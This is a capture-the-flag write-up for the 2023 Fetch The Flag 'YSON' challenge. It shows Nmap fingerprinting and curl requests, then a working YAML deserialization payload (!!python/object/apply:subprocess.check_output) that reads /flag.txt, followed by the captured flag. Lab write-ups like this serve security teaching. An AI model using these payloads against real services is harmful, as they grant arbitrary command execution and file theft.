Fetch The Flag 2023 YSON Writeup

Published: September 16, 2025, updated: September 16, 2025

This is a writeup for the Fetch The Flag 2023 YSON challenge.

Challenge notes

Introducing YSON! Need to transform your YAML code into JSON? We’ve got you covered!

Find the flag.txt file in the root of the filesystem.

Press the Start button on the top-right to begin this challenge. Connect with:

http://challenge.ctf.games:30944

Nmap

I use Nmap to fingerprint the HTTP server:

# We don't want to ping it, and just look at the challenge port
nmap \
    -Pn \
    -p30944 \
    --script=+http-title.nse \
    --script=+http-server-header.nse \
    challenge.ctf.games

Nmap prints the following:

Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-28 15:33 JST
Nmap scan report for challenge.ctf.games (34.123.6.222)
Host is up (0.15s latency).
rDNS record for 34.123.6.222: 222.6.123.34.bc.googleusercontent.com

PORT      STATE SERVICE
30944/tcp open  unknown
|_http-server-header: Werkzeug/3.0.1 Python/3.11.6
|_http-title: YSON: Convert YAML to JSON

Nmap done: 1 IP address (1 host up) scanned in 0.86 seconds

This means I must look for Python specific YAML vulnerabilities. I refer to the HackTricks page on Python YAML serialization vulnerabilities.

The site

The YSON site converts YAML to JSON, as advertised. Here’s a sample YAML input:

name: John Doe
age: 30
is_student: false
address:
  street: 123 Elm St
  city: Springfield
  zip: 12345
skills:
  - Python
  - JavaScript
  - SQL

YSON returns the following JSON response:

{
    "name": "John Doe",
    "age": 30,
    "is_student": false,
    "address": {
        "street": "123 Elm St",
        "city": "Springfield",
        "zip": 12345
    },
    "skills": [
        "Python",
        "JavaScript",
        "SQL"
    ]
}

The following shows a curl and jq invocation to test the YSON API from the command line:

curl 'http://challenge.ctf.games:30944/' \
    --silent \
    -X POST \
    --data-urlencode "yaml_input@example_input.yaml" |
    jq "., (.data | fromjson)"

This prints the following:

{
  "data": "{\n    \"name\": \"John Doe\",\n    \"age\": 30,\n    \"is_student\": false,\n    \"address\": {\n        \"street\": \"123 Elm St\",\n        \"city\": \"Springfield\",\n        \"zip\": 12345\n    },\n    \"skills\": [\n        \"Python\",\n        \"JavaScript\",\n        \"SQL\"\n    ]\n}",
  "status": "success"
}

Here are the contents of the data property, parsed as JSON:

{
  "name": "John Doe",
  "age": 30,
  "is_student": false,
  "address": {
    "street": "123 Elm St",
    "city": "Springfield",
    "zip": 12345
  },
  "skills": [
    "Python",
    "JavaScript",
    "SQL"
  ]
}

Exploit

I attempt to use the Vulnerable .load("<content>") without Loader method from the HackTricks page.

I test whether the YSON API is vulnerable with the following command:

set -l bad_input '
!!python/object/apply:builtins.range
- 1
- 10
- 1
'
curl 'http://challenge.ctf.games:30944/' \
    --silent \
    -X POST \
    --data-urlencode "yaml_input=$bad_input" |
    jq "., (.data | fromjson)"

The YSON API returns a Python range() object. This tells me that the API is vulnerable. This YAML deserialization vulnerability lets me run arbitrary external commands using subprocess.check_output.

I proceed to print out the contents of /flag.txt with the following YAML payload:

set -l bad_input '!!python/object/apply:subprocess.check_output
args: [["cat", "/flag.txt"]]
kwds: {"encoding": "utf-8"}
'
curl 'http://challenge.ctf.games:30944/' \
    --silent \
    -X POST \
    --data-urlencode "yaml_input=$bad_input" |
    jq "., (.data | fromjson)"

This prints out the following flag:

flag{6766066cea624a90b1ae5b47a4a320d9}

Tags

I would be thrilled to hear from you! Please share your thoughts and ideas with me via email.

Back to Index